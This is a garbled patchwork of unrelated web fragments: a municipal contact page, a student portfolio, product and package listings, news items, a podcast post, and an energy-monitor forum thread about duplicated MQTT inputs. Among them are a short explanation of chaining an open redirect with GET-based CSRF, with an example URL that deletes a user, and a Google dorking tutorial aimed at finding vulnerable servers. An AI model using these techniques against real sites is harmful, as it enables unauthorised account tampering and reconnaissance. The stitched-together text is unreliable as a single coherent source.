Saving Lives
Home
(current)
Mission
Story
Partners
Orders
Delivers
Register
Contact
Contact
Our Municipality
Phone:
+385 45 461 269
Email:
<EMAIL_ADDRESS>Address:
Edit Durham
Prizren 20000
Contact
Form
Name
Email Address
Phone Number
Message
Submit


Exploiting GET-based CSRF
Assume a open redirect in a trusted website that also has a GET-based CSRF flaw. The attacker would be able to redirect the victims in order to make them execute the vulnerable functionality.
Example: https://example.com/?u=https://example.com/?del_user=1


{% extends "admin/skeleton.html" %} {% block title %}New Blob{% endblock %} {% block extracss %} {% endblock %} {% block maincontent %}
Upload the file by clicking the button below first, then make sure the details are correct.


CHRISTINE MUGAMBI
PROJECTS
I have created the following projects in my Github account:
1.MY FIRST WEBPAGE.
This project is on how to create a website/webpage through HTML, that is styled with CSS. It can be accessed throughThis Link.
2.COOKIE RECIPE.
This project is a practise on HTML and CSS indentation and spacing. It can be accessed through
This Link.
3.WILDCATS.
This project is practise on Divs and Spans on HTML, styled with CSS. It can be accessed through
This Link.
4.BRANCHING PRACTISE SITE.
This project is on creating and merging branches, and styling them through CSS. It can be accessed throughThis Link.
5.FLOATS AND BOX MODEL.
This project (under the name index5.html and index6.html respectively) is on adding floats and box model within a HTML text. It can be accessed
throughThis Link. and
throughThis Link.
Personal Info
Education
Currently a Highschool graduate, completed my 0-levels in 2019 hence awaiting selection and admission into University.
Job experience
I was not employed before Moringa school. However, I was assisting in the family transport business managed at home from January to March 2020.
Reasons for joining Moringa
I have 3 main purposes for joining this institution;
1. To acquire software development skills and coding experience.
2. To apply the skill set acquired at Moringa in the Bsc.Biochemistry field I applied to undertake in University.
3. To apply the skills in the technology job market if/when I get employment through attachments.
Hobbies
- Bike riding
- Reading novels
- Reciting poetry
- Cooking
- Travelling
- Acting
- Researching


This is a collection of sketches to rapidly use sensors for midi control. You need the MIDIUSB library and an Arduino that supports it, like micro or Leonardo. Here are also some pics of the prototypes i made with those sketches:
This is for using it with piezos (already successfully used live on a drumkit):
And this for with capacitive sensors (it just sends notes as triggers):
--->get it on github<---


GoogleDorking is a special searching technique to query google search engine for information hidden on public websites and vulnerabilities exposed by public servers. It makes the life of a hacker more easy .
Available dorks
- site :
Search for the result in the given domain
- related :
Search for Similar web pages
- cache :
Display the web pages stored in Cache
- link :
List the websites having a link to a specific web page
- alligntext :
Search for websites containing a specific keyword
- intext :
Search for documents containing a specific keyword
- allintitle :
Search for websites containing a specific keyword in the title
- intitle :
Search for documents containing a specific keyword in the title
- allinurl :
Search for websites containing a specific keyword in URL
- inurl :
Search for documents containing a specific keyword in URL
Example
- suppose you want to search websites running php and want to test xss vulnerability
in it you can make a simple google search with inurl dork .
inurl=".php"
Advance search
Google also has a site for advance searching .
https://www.google.com/advanced_search
Google Hacking database (GHDB) :-
The Google Hacking Database (GHDB) is a part of Google hacking search terms that have been found to reveal sensitive data exposed by vulnerable servers and web applications. The GHDB was launched in 2000 by Johnny Long to serve penetration testers. In 2010, Long turned the database over to Offensive Security and it became part of exploit-db.com . It was also expanded to include not only the Google search engine but also other search engines like Microsoft’s Bing as well as other repositories such as GitHub.
categories of queries in GHDB
- Error messages that contain sensitive information such as directory paths
- Files with sensitive data, passwords, and user names
- exploits for version specific web services
- Product-specific advisories
- Detailed information about web servers
- Sensitive online shopping data


ADHD Neurofeedback Training Using Mind Over Matter
AR presentation For The Chaotic Trade Show Environment
VR Attention Direction Within A Random Maze
AR Exercise Support For The Busy College Lifestyle
Controlling AR With Everyday Web Tech


To install the package simply launch from the main directory the command:
If you want to create a source distribution package use:
Wheel is supported (but not deeply tested!):
The application needs the following dependencies to run:
To run the application without install it, you can use this command from the main directory:
After the installation, you can run the application simply using:
Notes: if you are under windows, the Script folder must be on your PATH variable.
On Linux, if you can't start the application after a correct installation, try
to use the command which cam-env to search the executable.


Additional tools for retrieving, organizing, and analyzing environmental data from the System Wide Monitoring Program of the National Estuarine Research Reserve System <http://cdmo.baruch.sc.edu/>. These tools address common challenges associated with continuous time series data for environmental decision making, and are intended for use in annual reporting activities.
| Version: | 0.3.16 |
| Depends: | R (≥ 3.2.0), SWMPr |
| Imports: | broom, dplyr, EnvStats, flextable, ggplot2, ggthemes, grDevices, leaflet, lubridate, magrittr, maptools, methods, officer, tidyr, scales, RColorBrewer, rgdal, rgeos, rlang, sp |
| Published: | 2018-06-27 |
| Author: | Julie Padilla [aut, cre], Marcus Beck [ctb], Kimberly Cressman [ctb], Bob Rudis [ctb] |
| Maintainer: | Julie Padilla <jpadilla at limno.com> |
| BugReports: | https://github.com/padilla410/SWMPrExtension/issues |
| License: | CC0 |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | SWMPrExtension results |
| Reference manual: | SWMPrExtension.pdf |
| Package source: | SWMPrExtension_0.3.16.tar.gz |
| Windows binaries: | r-devel: SWMPrExtension_0.3.16.zip, r-release: SWMPrExtension_0.3.16.zip, r-oldrel: SWMPrExtension_0.3.16.zip |
| OS X binaries: | r-release: SWMPrExtension_0.3.16.tgz, r-oldrel: SWMPrExtension_0.3.16.tgz |
| Old sources: | SWMPrExtension archive |
Please use the canonical form https://CRAN.R-project.org/package=SWMPrExtension to link to this page.


Mural of activist Greta Thunberg going up in San Francisco
SAN FRANCISCO (AP) - Teen climate activist Greta Thunberg is staring down at pedestrians in the heart of San Francisco where an artist is painting a massive mural of the Nobel Peace Prize nominee.
SFGate reports Friday that Argentine muralist Andres Iglesias, who signs his art with the pseudonym Cobre, is set to finish the artwork of the Swedish 16-year-old in Union Square by next week.
Iglesias tells SFGate that he’s donating his time to complete the work and that he hopes the mural helps people realize “we have to take care of the world.”
He also painted a mural of Robin Williams in downtown San Francisco that has since been demolished.
Cobre says he was searching for a building for a new mural when environmental nonprofit oneatmosphere.org approached him about the project.
Information from: San Francisco Chronicle, http://www.sfgate.com
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


2016 Newest ASUS 15.6” High Performance Premium HD Laptop (Intel Quad Core Pentium N3700 Processor up to 2.4 GHz, 4GB RAM, 500GB HDD, SuperMulti DVD, Wifi, HDMI, VGA, Webcam, Windows 10-silver)
Price: $248.95 & FREE Shipping.
Technical Details
- Keyboard with chiclet keys, 1 USB 3.0 • 2 USB 2.0 • HDMI • Headphone output/Microphone input combo • LAN (10/100), VGA output (15-pin, mini D-sub)
- 15.6 in HD LED Display (1366 x 768), Intel HD graphics with shared graphics memory, SuperMulti DVD/CD burner (including DVD+R/RW, DVD-R/RW, CD-R/RW, DVD-RAM and double-layer DVD)
- Built-in high-speed wireless LAN, Integrated webcam, SD card reader, Built-in stereo speakers with SonicMaster technology provides a crystal-clear sound experience.
- Windows 10 Home 64-bit, Silver Color, Silver, Hairline finish, 3-cell lithium-ion Battery
- Intel® Pentium® mobile processor N3700 Quad-Core processor 1.6 GHz with 2M Cache up to 2.4 GHz - four-way processing performance for HD-quality computing, 4GB DDR3L 1600 MHz (Memory RAM Expandable To 8 GB), 5400 RPM HDD


---
layout: post
title: "#16 - Privacy should be a human right"
redirect_from:
- /16
---
In this episode:
- Todd has a technical epiphany in the pre-show
- The usual chat about Security and Privacy is focused around COVID-19 contact tracing
- Raspberry Pi powered ventilators
- Todd goes on a shopping spree
- Quick thoughts on the iPhone SE (2020)
- Kids and messaging apps
Shownotes:
Please send us your feedback, leave a review in your favourite Podcast app, and share our show with your friends.


Asset Organizer
The Asset Organizer is the end user facing aspect of the Assign Onward software suite. It organizes lists of secret keys and underwriter contact addresses, presents the user with summary data about the current state of the secret key titles (values in coins), and facilitates negotiation and execution of assignment contracts. A user will likely have more than one Asset Organizer (desktop, cellphone, spouse's cellphone, [shudder] cloud copy), they can attempt to communicate with each other directly to update status, but the ultimate check of share title status comes when contacting an underwriter to verify on the blockchain.
Secrets
All the usual secret keeping advice applies. Some strategies specifically applicable to an asset organizer include: division of assets into multiple "accounts" with different passphrases which compartamentalizes for damage control in the event of passphrase "leaking," backups on multiple devices in multiple physical locations, long-lasting identities (public/private key pairs) on each wallet device so they can synchronize new assets securely, etc.
IP address to contact other asset organizers1both shared accounts for off-chain sharing and others' accounts for on chain assignments
and underwriters at. Usually will include long lasting public key ids as well as user facing name and other helpful information.
Blockchain Updates
By contacting an underwriter (who may2Cool underwriters will remember your past business and absorb the cost of chain updates from past collected fees. Hungry underwriters will do the cheap chain updates for free hoping to win your future business. Commercial bank inspired underwriters will require an on-chain assignment of shares for every share status lookup, it's your choice who you want to do business with.
charge a fee) the asset organizer can mark assigned shares as gone and update current coin value for shares still held. Asset organizers that communicate with each other can share updated status from a single underwriter contact.3This does raise an interesting feature of information source tracking, which should be addressed in the network interface layer.
Assign Onward
4 May 2018
MIT License
Copyright (c) 2018 Assign Onward
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


Helping Hands Login Page:
Volunteer Login:
Email address
We'll never share your email with anyone else.
Password
Submit
Organization Login:
Email address
We'll never share your email with anyone else.
Password
Submit
Be a Helping Hand!
×


When I reboot the Pi several times in succession I get extra MQTT Inputs created with the same name as the existing ones, and its the extra inputs that get updated whilst the original inputs stay static, meaning I need to apply the input processes that are on the old inputs to the new inputs otherwise the feeds don't get updated.
I've observed this several times now with both my EMONTX's. Is this a known bug or a new one?
The actual MQTT topics are still working as Openhab is still seeing the original EMONHUB topic being updated.
On a related note my EMONTX's are set to update every 4 seconds to make the dashboard more responsive, is there a limit on feed update times that won't let them update more than once every 10 seconds?
I'm using EMONCMS low-write V9.31 13.02.2016 on a Pi2 with Jessie
Re: MQTT Duplicate Inputs created after several reboots
Hi,
i'm new to the whole Emon thing but and started with questions about MQTT -> Emon:
Sounds like the problems you have if a MQTT client is responsible of feeding the database.
There is a nice article: The missing piece between MQTT and a SQL
http://www.hivemq.com/blog/mqtt-sql-database
Look at Gotchas and Limitations:
1. What happens if the wilcard subscriber disconnects? What happens if it reconnects?
2. Is there a way to ensure that each message will be sent only once?
Re: MQTT Duplicate Inputs created after several reboots
Oh dear, I assumed you are running the new Beta / RC emonPi / emonBase image with the new MQTT input service.
The node names are created from the MQTT topic names. There must be a *slight* change of MQTT topic name after a reboot. Can you see any difference at all between the two input names? Is there a space in there or something?
Could you post s screen grab?
Re: MQTT Duplicate Inputs created after several reboots
I'm running the new MQTT input service, and a home built Jessie image based upon the emonpi build guide without the display / lightwave / node red and with my own openhab install in /home/pi/data/openhab
The only screen shot I have right now is where you can see the recreated topic appears at the end of the list, I'd already reconfigured everything to use it and deleted the dead one, I'll screen grab it next time it happens before I reconfigure. This might not be for a few days as everything is working right now and I'm too busy to intentionally poke it.
Its like things don't get properly saved when it reboots several times in sucession and it recovers from a corrupt input process setting by recreating the input, although the old non updating input process setttings can be read even though they don't update.
The Openhab item is Number HWCPower { mqtt="<[mymosquitto:emon/emonTx_1/power3:state:default]" }
I can't see how that would still work if the topic changes even?
Re: MQTT Duplicate Inputs created after several reboots
It did it again this morning, and annoyingly it picked one of my more complex inputs! This happened after several reboots in succession caused by troubleshooting a relay debounce issue with Openhab, together with the usual occasional can't read rule file it seems to throw in to keep me interested. A problem that is usually cured by a couple of extra reboots.
In the picture power1 at the top has stopped updating, with power1 reappearing as a new input at the bottom that is updating
see attached
Re: MQTT Duplicate Inputs created after several reboots
Could you try deleting the new input to see if emoncms resumes logging to the original input?
From the screen grab it looks like the Input name is identical, could you try and inspect the name carefully to see if there is something like a white space at the beginning or end?
Re: MQTT Duplicate Inputs created after several reboots
Highlighting inputs I know have reappeared and comparing them to ones that haven't doesn't show up anything. All of them have the input name and one space afterwards.
Next time it happens I'll delete the new input and see what happens. I've already reentered the input information to get the system back up and running.
Where does it cache the mqtt inputs found information?
Re: MQTT Duplicate Inputs created after several reboots
There shouldn't be any white spaces at the end of the input name. I think this could be where the issue is coming from. Do your mqtt topic names as shown in mqtt_sub also have the white spaces? I wonder where they are coming from?
Re: MQTT Duplicate Inputs created after several reboots
I don't think they have spaces, I just fired up MQTT.fx which is a Java Windows MQTT Pub / Sub client and it doesn't show any spaces.
A direct copy from the log is below:
2016-02-29 09:56:16,662 INFO --- MqttFX ClientModel : messageArrived for: emon/emonTx_1/power1
2016-02-29 09:56:16,663 INFO --- MqttFX ClientModel : messageArrived: 563
2016-02-29 09:56:16,862 INFO --- MqttFX ClientModel : messageArrived for: emon/emonTx_1/power2
2016-02-29 09:56:16,863 INFO --- MqttFX ClientModel : messageArrived: 564
2016-02-29 09:56:16,864 INFO --- MqttFX ClientModel : messageArrived for: emon/emonTx_1/power3
2016-02-29 09:56:16,865 INFO --- MqttFX ClientModel : messageArrived: 565
As Openhab subscribes to the same topics I'm not suspecting whte spaces are in the topics, What error handing is there is the system goes down half way through a topic being received?
For example if it received a valid topic name but with rubbish in the payload due to a thread being terminated half way through the message transmission
Re: MQTT Duplicate Inputs created after several reboots
@glyn deleting the new copy of the topic makes the old copy work again, I've had one topic recreate from Openhab on the same box so its not coming from EMONHUB
Re: MQTT Duplicate Inputs created after several reboots
Hi,
I'm seeing the same behaviour with a customised local version of emonhub - which feeds data to emoncms with calls like:
http://emoncms.org//input/post.json?node=26&json={"L1Voltage":"235.28","L1Current":"8.76","L1VA":"2060.48","L1Po ...
Deleting the new feeds puts the old ones back into use...
http://buttersideup.com/files/duplicated-inputs.png
HTH.
Cheers,
Tim.
Re: MQTT Duplicate Inputs created after several reboots
Could this be related to MQTT retained messages?
If the MQTT retained flag is set somewhere, undelivered messages will continue to try and get an acknowledgement, even surviving reboots...
Paul
Re: MQTT Duplicate Inputs created after several reboots
@TimSmall are you reporting that you are getting duplicated inputs when posting data via HTTP API rather than MQTT? If so then maybe this issue is not related derectly to MQTT
@Paul good point, however emonhub has retain turned off by default:
https://github.com/openenergymonitor/emonhub/blob/emon-pi/src/interfacer...
Re: MQTT Duplicate Inputs created after several reboots
@Paul I have persistence false in mosquitto.conf, which I haven't changed so hopefully this is off
@Glyn I also have log_dest file /var/log/mosquitto/mosquitto.log in mosquitto.conf, and looking at that file it has some old information in it. Is it worthwhile changing mosquitto.conf to point to something in /tmp with the read only file system?
Re: MQTT Duplicate Inputs created after several reboots
> TimSmall are you reporting that you are getting duplicated inputs when posting data via HTTP API rather than MQTT?
Yep, just posting with the HTTP API - no MQTT. Symptoms and issue look identical otherwise.
Noticed the issue this morning when trying to debug some non-updating inputs, and then found the thread via google...
Tim.
Re: MQTT Duplicate Inputs created after several reboots
@Kevin - That is the global setting, but I believe it is overwritten by the host software on a node by node basis.
@Glyn - I wondered if retain=False should be retain=false?
Paul


Ah yes, the final project. Something you need to put a lot of time and effort into.
I came up with the miraculous idea to create a frisbee with an amazing sticker on it. A Gerbsbee if I may.
First, I got an stl file of a frisbee and milled it out.
Second, I photoshopped Mr.Gerber's face onto Kirby's body and then put put the images into Corel Draw.
Third, I printed out a sticker of Gerby and waited for the mold to finish in the mill.
After the milling finished, I cut the mold out, put burlap over the mold, glued it together with resin, and vacuum bagged them for a night.
I came back in the morning to take the frisbee out and cut around the leftover burlap. Then I put the Gerby sticker on and the Gerbsbee was created.
I had a little too much fun with the Gerby picture and decided to create shirts for the whole class too.
Digital Engineering is a great class. 5/5 on Yelp.
In hindsight, I should have figured out what I wanted to do a long time ago instead of the day before the project was due, but I am still pleased with what I made.
I did spend all day in the makerspace though so I did put in some time (about 4.5 class periods worth).


Jewish Gravestones Defiled with Graffiti in Western Denmark - Police
The Ostre Kirkegard cemetery in the town of Randers was established in the 19th century when the town hosted the country's second-largest population of Jews after the capital Copenhagen.
More than 80 Jewish tombstones at the Ostre Kirkegard burial ground in the Danish town of Randers have been desecrated by vandals, the local police revealed on Sunday.
"The gravestones were daubed with green graffiti and some were overturned," the police spokesman Bo Christensen said. "There are no symbols or words written on the gravestones".
According to Christensen, they first received the complaint on Saturday but are unaware when exactly the desecration took place.